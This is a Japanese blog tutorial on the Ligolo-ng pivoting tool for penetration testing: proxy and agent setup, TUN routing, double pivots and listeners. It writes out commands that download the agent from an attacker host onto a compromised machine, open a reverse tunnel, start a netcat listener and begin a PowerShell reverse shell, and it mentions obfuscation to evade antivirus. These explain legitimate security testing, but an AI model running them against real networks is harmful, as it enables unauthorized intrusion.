Ligolo-ng Agent: ネットワークピボットを容易にするツール 🛡️

Ligolo-ngは、ペネトレーションテストやレッドチーム活動において、ネットワーク内部へのアクセス経路を確保するための強力なツールです。特に、侵害したホストを踏み台(ピボット)として、外部から直接アクセスできない内部ネットワークセグメントを探査・攻撃する際に威力を発揮します。 このツールは、Nicolas Chatelain氏によって開発され、従来のSOCKSプロキシベースのツール(Chiselなど)とは異なり、TUNインターフェースを使用してVPNのように動作するのが最大の特徴です。これにより、より高速で安定した、そして透過的なネットワークアクセスが可能になります。

Ligolo-ngは主に二つのコンポーネントで構成されます。

  • ligolo-proxy: 攻撃者のマシン(C2サーバー)で動作し、エージェントからの接続を受け付け、TUNインターフェースを作成して内部ネットワークへのルーティングを行います。
  • ligolo-agent: 侵害されたターゲットマシン上で動作し、攻撃者のProxyサーバーに対してリバース接続を確立します。

このブログ記事では、特にligolo-agentに焦点を当て、そのセットアップ方法と基本的な使い方について解説します。

Ligolo-ngの仕組み 💡

Ligolo-ngの動作原理は、リバース接続とTUNインターフェースの組み合わせに基づいています。

  1. 接続確立: 侵害されたマシン上でligolo-agentが起動されると、攻撃者のマシンで待機しているligolo-proxyに対してTCP/TLS接続を開始します。この「内側から外側へ」の接続方向により、ターゲットネットワークのファイアウォールによるインバウンド接続制限を回避しやすくなります。
  2. TUNインターフェース作成: ligolo-proxyは、接続を受け付けると攻撃者のマシン上に仮想的なネットワークインターフェース(TUNインターフェース、デフォルト名はligolo)を作成します。
  3. ルーティング: 攻撃者は、アクセスしたい内部ネットワークのセグメント宛てのトラフィックが、このligoloインターフェースを経由するようにルーティングを設定します。
  4. 通信転送: ligoloインターフェースに送られたネットワークパケットは、ligolo-proxyによってカプセル化され、確立されたTLSトンネルを通じてligolo-agentに転送されます。ligolo-agentは受信したパケットをターゲットネットワークに送り出します。逆方向の通信も同様に処理されます。

この仕組みにより、攻撃者はあたかも自身のマシンがターゲットの内部ネットワークに直接接続されているかのように、内部ホストに対してpingnmapスキャン、各種ツールを利用した攻撃など、様々なネットワーク操作を行うことが可能になります。SOCKSプロキシを使用しないため、proxychainsのようなツールを介さずに、多くのネットワークツールを直接利用できるのが大きな利点です。

インストールとセットアップ ⚙️

Ligolo-ngを利用するには、攻撃者のマシンにligolo-proxyを、ターゲットマシンにligolo-agentを準備する必要があります。

Proxyサーバー(攻撃者マシン)の準備

攻撃者マシン(多くの場合Kali Linux)での準備手順です。

  1. Ligolo-ngのインストール:

    Kali Linux (2024.2以降) では、公式リポジトリに含まれているため、aptコマンドで簡単にインストールできます。

    sudo apt update
    sudo apt install ligolo-ng

    これにより、ligolo-proxyligolo-agentの両方がインストールされます。ただし、常に最新版を利用したい場合や、他のディストリビューションを使用している場合は、GitHubリリースページから直接ダウンロードするか、ソースからビルドすることをお勧めします。

    GitHubリリースページ: https://github.com/nicocha30/ligolo-ng/releases

    Go言語 (1.20以上が必要) がインストールされていれば、ソースからビルドすることも可能です。

    git clone https://github.com/nicocha30/ligolo-ng.git
    cd ligolo-ng
    go build -o proxy cmd/proxy/main.go
    chmod +x proxy
  2. TUNインターフェースの作成:

    Ligolo-ngが通信をルーティングするために、TUNインターフェースを作成し、有効化します。[your_username]は自身のユーザー名に置き換えてください。

    sudo ip tuntap add user [your_username] mode tun ligolo
    sudo ip link set ligolo up

    ifconfig ligolo または ip addr show ligolo コマンドでインターフェースが作成され、UP状態になっていることを確認できます。

  3. Proxyサーバーの起動:

    準備が整ったら、ligolo-proxyを起動します。自己署名証明書を自動生成して使用する-selfcertオプションが便利です。

    ./proxy -selfcert

    デフォルトでは、ポート11601でエージェントからの接続を待ち受けます。他のオプション(Let’s Encrypt証明書の使用など)については、./proxy -hで確認できます。

Agent(ターゲットマシン)の準備

ターゲットマシンでligolo-agentを実行するための準備です。

  1. Agentバイナリの入手:

    ターゲットマシンのOSとアーキテクチャ(Windows/Linux、amd64/arm64など)に合ったligolo-agentのバイナリを、GitHubリリースページからダウンロードします。

    例:Windows 64bit用
    ligolo-ng_agent_0.4.3_windows_amd64.zip (バージョンは適宜最新のものに)

    例:Linux 64bit用
    ligolo-ng_agent_0.4.3_linux_amd64.tar.gz

  2. ターゲットマシンへの転送:

    ダウンロードしたAgentバイナリを、何らかの方法でターゲットマシンに転送します。手法は状況によりますが、以下のような方法が考えられます。

    • 攻撃者マシンでHTTPサーバーを立ててダウンロードさせる (python3 -m http.server 80)
    • 既存のC2チャネル(例: Meterpreter)のファイルアップロード機能を使う
    • SMB共有を利用する
    • PowerShellのダウンロードコマンド (Invoke-WebRequest, certutil) を使う
    • SCPやFTP(もし利用可能なら)

    例:ターゲットがWindowsで、攻撃者マシン(IP: 192.168.1.100)の/opt/ligoloディレクトリにagent.exeがある場合、ターゲット上でPowerShellからダウンロード

    Invoke-WebRequest -Uri http://192.168.1.100/agent.exe -OutFile C:\Windows\Temp\agent.exe

Ligolo-ng Agentの基本的な使い方 🚀

Proxyサーバーが起動し、Agentバイナリがターゲットマシンに転送されたら、いよいよ接続を確立してピボットを開始します。

  1. Agentの起動(ターゲットマシン):

    ターゲットマシン上でligolo-agentを実行し、攻撃者のProxyサーバーに接続します。[proxy_server_ip]はProxyサーバー(攻撃者マシン)のIPアドレスに置き換えます。Proxyサーバーが自己署名証明書を使っている場合(-selfcertオプションで起動した場合)、-ignore-certオプションが必要です。

    Windowsの場合:

    C:\Windows\Temp\agent.exe -connect [proxy_server_ip]:11601 -ignore-cert

    Linuxの場合:

    chmod +x ./agent
    ./agent -connect [proxy_server_ip]:11601 -ignore-cert

    成功すると、AgentはProxyサーバーへの接続を試み、接続が確立された旨のメッセージが表示されます。

    ⚠️ 注意: -ignore-certオプションは、証明書の検証をスキップするため、中間者攻撃のリスクがあります。可能であれば、正規の証明書を使用するか、-accept-fingerprintオプションでProxyサーバー証明書のフィンガープリントを指定することを検討してください。
  2. セッションの確認と選択(Proxyサーバー):

    Agentが接続に成功すると、Proxyサーバー側のコンソールに[INFO] Agent connectedのようなメッセージが表示され、インタラクティブなシェルが利用可能になります。

    sessionコマンドを入力すると、接続中のAgentのリストが表示されます。

    ligolo-ng > session
    
    Session ID  Hostname          Username          Operating System  Address           Agent Version
    ----------  --------          --------          ----------------  -------           -------------
    1           TARGET-PC         WORKGROUP\User    windows/amd64     192.168.100.5:12345 0.4.3
    
    Use 'session [id]' to select a session.

    操作したいAgentのIDを指定して、セッションを選択します。

    ligolo-ng > session 1
    [Agent : TARGET-PC\User@TARGET-PC] »

    プロンプトが変わり、選択したAgentに対する操作が可能になります。helpコマンドで利用可能なコマンド一覧を確認できます。

  3. ネットワークインターフェースの確認(Proxyサーバー):

    選択したAgentセッション内でifconfigコマンドを実行すると、そのAgent(ターゲットマシン)が持つネットワークインターフェースの情報を確認できます。これにより、ピボット先の内部ネットワークのIPアドレス範囲を特定します。

    [Agent : TARGET-PC\User@TARGET-PC] » ifconfig
    
    Name    MAC Address        MTU   IPv4 Address        IPv6 Address
    ----    -----------        ---   ------------        ------------
    eth0    00:11:22:AA:BB:CC  1500  192.168.100.5/24    fe80::.../64
    eth1    00:11:22:DD:EE:FF  1500  10.10.10.5/24       fe80::.../64

    この例では、ターゲットマシンが192.168.100.0/24(外部からアクセス可能なネットワーク)と10.10.10.0/24(内部ネットワーク)の二つのネットワークに接続されていることがわかります。ピボットの目的はこの10.10.10.0/24ネットワークにアクセスすることです。

  4. ルーティングの設定(Proxyサーバー):

    攻撃者のマシンから内部ネットワーク(例: 10.10.10.0/24)への通信が、Ligolo-ngが作成したTUNインターフェース(ligolo)を経由するようにルーティングを設定します。これは、Proxyサーバーのインタラクティブシェルではなく、攻撃者マシンのターミナルで実行します。

    sudo ip route add 10.10.10.0/24 dev ligolo
  5. トンネルの開始(Proxyサーバー):

    最後に、Ligolo-ngのProxyサーバーのインタラクティブシェルに戻り、startコマンドを実行してトンネリングを開始します。

    [Agent : TARGET-PC\User@TARGET-PC] » start
    [+] Started tunnel

    これで、攻撃者のマシンから10.10.10.0/24ネットワーク内のホストへの通信が可能になります。例えば、ping 10.10.10.1nmap 10.10.10.0/24などを実行して、内部ネットワークへのアクセスを確認できます。これらの通信はすべてligoloインターフェースと確立されたトンネルを経由します。

高度な機能とユースケース ✨

Ligolo-ng Agentは基本的なピボット機能以外にも、より複雑なシナリオに対応する機能を持っています。

ダブルピボット

最初のピボット先(例:DMZサーバー)から、さらに別の内部ネットワークセグメントにアクセスする必要がある場合があります。例えば、DMZサーバーが内部ネットワークA (10.10.10.0/24) と内部ネットワークB (10.10.20.0/24) の両方に接続している場合などです。

この場合、内部ネットワークA内の別のマシン(例:10.10.10.10)を侵害し、そのマシン上で2つ目のligolo-agentを起動します。この2つ目のAgentも同じProxyサーバーに接続させます。Proxyサーバー側では、新しいAgentセッションが表示されるので、それを選択し、同様にifconfigでネットワーク情報を確認、攻撃者マシンで内部ネットワークB (10.10.20.0/24) へのルートを追加し、startコマンドでトンネルを開始します。これにより、攻撃者は内部ネットワークBにもアクセスできるようになります。

ダブルピボットのシナリオでは、複数のAgentからの接続をProxyサーバーが管理し、それぞれに対応するルートを設定することで、多段的なネットワーク侵入を実現します。

リスナー機能(ポートフォワーディング)

Ligolo-ngは、Agentが動作しているマシン上のポート、またはAgentからアクセス可能な内部ネットワーク上のホストのポートを、攻撃者マシンにフォワードするリスナー機能を提供します。これは、内部ネットワーク上のサービスに直接アクセスしたり、内部ネットワーク内のマシンからリバースシェルを受け取ったりする際に非常に便利です。

例えば、内部ネットワークのホスト10.10.10.20で動作しているWebサーバー(ポート80)にアクセスしたい場合、ProxyサーバーのAgentセッション内で以下のようなコマンドを実行します。

[Agent : TARGET-PC\User@TARGET-PC] » listener_add --addr 0.0.0.0:8080 --to 10.10.10.20:80

これにより、Agentマシン(ピボットホスト)のポート8080へのアクセスが、内部ホスト10.10.10.20のポート80に転送されます。攻撃者は、AgentマシンのIPアドレス(例: 192.168.100.5)のポート8080http://192.168.100.5:8080)にアクセスすることで、内部のWebサーバーを閲覧できます。

リバースシェルを受け取る場合も同様に、Agentマシン上の特定のポートをリッスンさせ、そのポートを攻撃者マシン上のNetcatリスナーなどに転送するように設定します。

# Agentセッション内でリスナー設定 (Agentの4444番ポートを攻撃者マシン192.168.1.100の4444番ポートへ転送)
[Agent : TARGET-PC\User@TARGET-PC] » listener_add --addr 0.0.0.0:4444 --to 192.168.1.100:4444 --tcp

# 攻撃者マシンでNetcatリスナー起動
nc -lvnp 4444

# 内部ネットワークのターゲットマシンからAgentマシンのIPとポートへリバースシェル接続
# 例: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.100.5',4444);..."

Agentへの直接アクセス (240.0.0.1)

Ligolo-ngは特別なIPアドレス240.0.0.1を予約しており、このIPアドレスへの通信は自動的に現在選択されているAgentセッションのローカルホスト (127.0.0.1) にリダイレクトされます。これにより、Agentマシン自体で動作しているローカルサービス(例:SSHサーバー、デバッグポートなど)に簡単にアクセスできます。

この機能を使うには、まず攻撃者マシンで240.0.0.1へのルートを追加します。

sudo ip route add 240.0.0.1/32 dev ligolo

その後、例えばAgentマシン上でSSHサーバーがポート22で動作していれば、攻撃者のマシンからssh user@240.0.0.1のように接続できます。

その他のAgentオプション

ligolo-agentには他にも便利なオプションがあります。

オプション 説明
-connect [host:port] 接続先のProxyサーバーのアドレスとポートを指定します。
-ignore-cert TLS証明書の検証を無視します(自己署名証明書使用時など)。セキュリティリスクがあるため注意が必要です。
-accept-fingerprint [hash] 指定されたSHA256フィンガープリントを持つ証明書のみを受け入れます。-ignore-certより安全な代替手段です。
-retry 接続エラーが発生した場合に自動的に再試行します。不安定なネットワーク環境で役立ちます。
-proxy [url] AgentがProxyサーバーへ接続する際に、経由するHTTP/SOCKSプロキシサーバーを指定します。(例: http://user:pass@proxy.example.com:8080
-bind [ip:port] Agentがリッスンモードで動作し、Proxyサーバーからの接続を待ち受けます(リバース接続ではなくバインド接続)。ファイアウォールの設定によっては有用です。
-v 詳細なログ出力を有効にします。デバッグ時に役立ちます。

セキュリティに関する考慮事項 ⚠️

Ligolo-ngは非常に強力なツールですが、その利用にはセキュリティ上の注意が必要です。

  • Agentの配置: Agentバイナリをターゲットマシンに配置し実行すること自体が、検知されるリスクを伴います。アンチウイルスソフトやEDR(Endpoint Detection and Response)製品は、Ligolo-ng Agentのようなツールを悪意のあるものとして検出する可能性があります。難読化や実行方法の工夫が必要になる場合があります。
  • 通信の暗号化と認証: Ligolo-ngはTLSによる暗号化通信をサポートしていますが、-ignore-certオプションを使用すると証明書検証が行われず、中間者攻撃に対して脆弱になります。可能な限り、正規の証明書(Let’s Encryptなど)を使用するか、-accept-fingerprintオプションで相手を確実に認証することが推奨されます。
  • ログ: Ligolo-ng AgentおよびProxyは、接続やエラーに関するログを出力します。これらのログがターゲットマシンや攻撃者マシンに残ることで、活動の痕跡となる可能性があります。テストや演習環境以外での利用では、ログの管理に注意が必要です。
  • 権限: Agentは一般ユーザー権限でも動作しますが、Proxyサーバー側でTUNインターフェースを作成したり、ルーティングを設定したりするには通常root/Administrator権限が必要です。
  • ツールの検知: Ligolo-ngの通信パターンやバイナリ自体が、ネットワーク監視システムやセキュリティ製品によって検知される可能性があります。

これらのリスクを理解し、ペネトレーションテストやレッドチーム活動のルール、および法的・倫理的な範囲内でツールを使用することが重要です。

まとめ

Ligolo-ng Agentは、ネットワークピボットのための非常に効果的で使いやすいツールです。TUNインターフェースを利用することで、従来のSOCKSプロキシベースのツールよりも透過的で高速なアクセスを実現し、proxychainsなどのラッパーツールなしで多くのネットワークツールを利用できます。

基本的なセットアップは、Proxyサーバーの準備、Agentバイナリのターゲットへの転送、Agentの起動、Proxyサーバーでのセッション選択、ルーティング設定、トンネル開始、という流れで行います。さらに、ダブルピボットやリスナー機能などを活用することで、より複雑なネットワーク環境にも対応可能です。

ペネトレーションテストやCTF、セキュリティ学習において、内部ネットワークへのアクセスが必要となる場面で、Ligolo-ng Agentの使い方をマスターしておくと、作業効率を大幅に向上させることができるでしょう。ただし、その強力さゆえに、利用する際はセキュリティリスクを十分に考慮し、責任ある使い方を心がけてください。💪